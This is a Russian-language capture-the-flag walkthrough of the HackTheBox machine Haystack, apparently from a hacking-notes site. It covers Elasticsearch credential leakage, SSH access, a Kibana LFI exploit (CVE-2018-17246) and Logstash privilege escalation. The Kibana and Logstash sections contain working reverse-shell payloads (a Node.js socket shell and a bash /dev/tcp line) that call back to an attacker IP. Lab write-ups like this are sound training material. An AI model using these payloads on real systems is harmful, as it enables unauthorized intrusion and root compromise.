> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Разбор Haystack на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Навыки**:

* Перечисление ElasticSearch
* Утечка информации
* Перечисление Kibana
* Эксплуатация Kibana (CVE-2018-17246)
* Злоупотребление Logstash (повышение привилегий)
  {% endhint %}

## Разведка <a href="#reconnaissance" id="reconnaissance"></a>

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/6fd95a3f784546243cbaebaf8d897f244ad90b5c" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/4e84494187098b2bdf6a9cfa95cfc95f4bc97161" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="/files/b1f68dedb15941aba89ebc19acf24067ec01b71a" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (9200)

<figure><img src="/files/fef511a6872e8f24693d867e82ffc0dc5e13c361" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="/files/135d03b79e4d2236c656b5a6983e99abc0c6c666" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вносим доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

<figure><img src="/files/ff8aa27ebb7677107a5570161da9cc18703fd694" alt="" width="563"><figcaption></figcaption></figure>

## Анализ открытых сервисов

### Порт 80 — утечка информации

**Извлечение метаданных с помощью ExifTool**

<figure><img src="/files/d1c2156df2ca37da0259a13c3deb2c9adc0d549f" alt="" width="563"><figcaption></figcaption></figure>

Анализируя изображение, найденное на сервере, с помощью `strings`, мы обнаруживаем строку, закодированную в base64:

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="/files/1788b141eb4bcf2b501a40f386b14ef1c01c6084" alt=""><figcaption></figcaption></figure>

После декодирования эта строка раскрывает следующее сообщение: *"иголка в стоге сена — это 'key'"*.

<figure><img src="/files/7fa129b2d6c3ae81e9e3252e8c76045511c6837a" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch — утечка информации

#### На порту 9200 размещена версия ElasticSearch 6.4.2.

<figure><img src="/files/5d4c84e09cd4c5fe46d9ea8d87f451d77a873373" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch — это поисковый и аналитический движок в реальном времени, используемый для быстрого индексирования и поиска больших объемов данных. Он интегрируется в стек ELK, чтобы предоставлять расширенные возможности визуализации и анализа данных.
{% endhint %}

<figure><img src="/files/d85a374d27f59e36903c85fb125f39bf0a8607cf" alt=""><figcaption></figcaption></figure>

Обратившись к `/_cat/indices?` URL, мы получаем список индексов с их UUID. Чтобы извлечь содержимое индекса, используем следующий URL:

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/d1c564f3c289cc3e9b858ca5d92bc9e4f5bd72e6" alt=""><figcaption></figcaption></figure>

**Фильтрация данных с помощью Curl**

Используя индекс `quotes` и фильтруя по ключевому слову задания, находим нужную информацию:

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/b11cb3c9beceb2ef3c43aaf45edc5530c011d5e3" alt=""><figcaption></figcaption></figure>

**Декодирование строк, закодированных в Base64**

Мы получаем две строки, закодированные в base64, которые после декодирования раскрывают идентифицирующую информацию:

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/d09873c949d4c1396b354793651b1a52618dfeaf" alt=""><figcaption></figcaption></figure>

**Пользователь:** `security`/ **Пароль:** `spanish.is.key`

### Подключение по SSH

С полученными учетными данными подключаемся к целевой машине по SSH и получаем доступ к пользователю:

```bash
ssh security@10.10.10.115
```

<figure><img src="/files/f0efef6e1ed6b9b926b0a9f46908c2ebbe2a5805" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/c71c1f7b13435ac9463cd37b80054a75a87dfa8d" alt="" width="520"><figcaption></figcaption></figure>

**Как только вы получите доступ к Linux-серверу, вот команды для выполнения в терминале:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**Это позволит вам работать гораздо эффективнее и, прежде всего, удобнее.**

## Повышение привилегий:

### Kibana (перенаправление портов)

**Шаг 1: Определение открытых портов**

Сначала мы наблюдаем открытые порты внутри сети, используя следующую команду:

```bash
netstat -nltp
```

Мы замечаем, что порт **5601** привлекает наше внимание.

<figure><img src="/files/bde6a441e4182740352e57a14b6c5d775449d30c" alt=""><figcaption></figcaption></figure>

Выполнив `curl` запрос на этом порту, мы получаем HTML-страницу Kibana:

{% hint style="info" %}
**Kibana** — это готовое к использованию ПО для визуализации данных и панели управления для Elasticsearch
{% endhint %}

<figure><img src="/files/fe1268f70fa89f71662d02804ad7fa9092b4c644" alt=""><figcaption></figcaption></figure>

**Шаг 2: Перенаправление порта для доступа к Kibana**

Мы перенаправим внутренний порт сервера **5601** на нашу локальную машину, чтобы получить доступ через браузер. Это перенаправление можно выполнить через SSH следующей командой:

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

Это перенаправляет локальный порт 5601 целевой машины на порт 5601 нашей машины, обеспечивая прямой доступ

<figure><img src="/files/f5e25eb77cecba9898cb1c097866ae79773aa655" alt=""><figcaption></figcaption></figure>

**Шаг 3: Проверка версии Kibana**

При访问ении `http://localhost:5601/api/status`, мы видим номер версии Kibana: **6.4.2**. Эта версия уязвима к **Включение локальных файлов (LFI)** атаке, известной как **CVE-2018-17246**.

<figure><img src="/files/b4a683a72f187e080a791f9d8c961345bac09b86" alt=""><figcaption></figcaption></figure>

### Эксплуатация Kibana (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Шаг 4: Эксплуатация уязвимости**

Чтобы эксплуатировать эту уязвимость, мы создадим JavaScript-файл для получения reverse shell. В `/tmp` каталоге целевой машины создайте файл с именем `rev.js` со следующим кодом:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Предотвращает сбой приложения Node.js
})();
</code></pre>

Этот скрипт установит соединение с вашей машиной на порту **443** чтобы открыть оболочку.

**Шаг 5: Перенаправление потока в файл**

Затем перенаправьте поток в `/dev/shm/rev.js` файл следующей командой:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Шаг 6: Ожидание reverse shell на порту**

На своей машине запустите слушатель на порту **443** чтобы поймать обратную оболочку:

```bash
nc -nlvp 443
```

После входа у вас будет оболочка на целевой машине, что позволит повысить привилегии.

<figure><img src="/files/3c03ce26f4115654d652a10ccc0fd654d23fa9e1" alt=""><figcaption></figcaption></figure>

## Злоупотребление Logstash

Мы ищем все файлы, доступные пользователю `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/990caec60554b9ac8a25819d48fe7c1b1ca287f8" alt="" width="563"><figcaption></figcaption></figure>

Получив доступ к Logstash, мы обнаруживаем три файла конфигурации:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/8ed30691e6fbb498aca05afdaabeeb0a2138ba63" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
В итоге Logstash запускает cron-задачу, которая каждые 10 секунд проверяет, существует ли файл с именем `logstash_*` в `/opt/kibana/` в каталоге. Если найден соответствующий файл и он содержит команду с определенным вводом, в форме:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/546f1b19e90d933921a6ce2670ff3b64c13f07b2" alt=""><figcaption></figcaption></figure>

Чтобы эксплуатировать эту уязвимость, мы создаем файл с именем `logstash_exec` в `/opt/kibana/` каталоге со следующим содержимым:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Затем мы слушаем порт 4444 и получаем root-доступ.

<figure><img src="/files/1ee6c9c74c5f8bc07c58d19f0f04e000bdcd5a08" alt=""><figcaption></figcaption></figure>

### Флаг root :)

<figure><img src="/files/a4c13f9ed591d24c29403298bd0f2d5653602923" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d852f361fdf74c19813cd6e3b536a7e8c6a80790" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
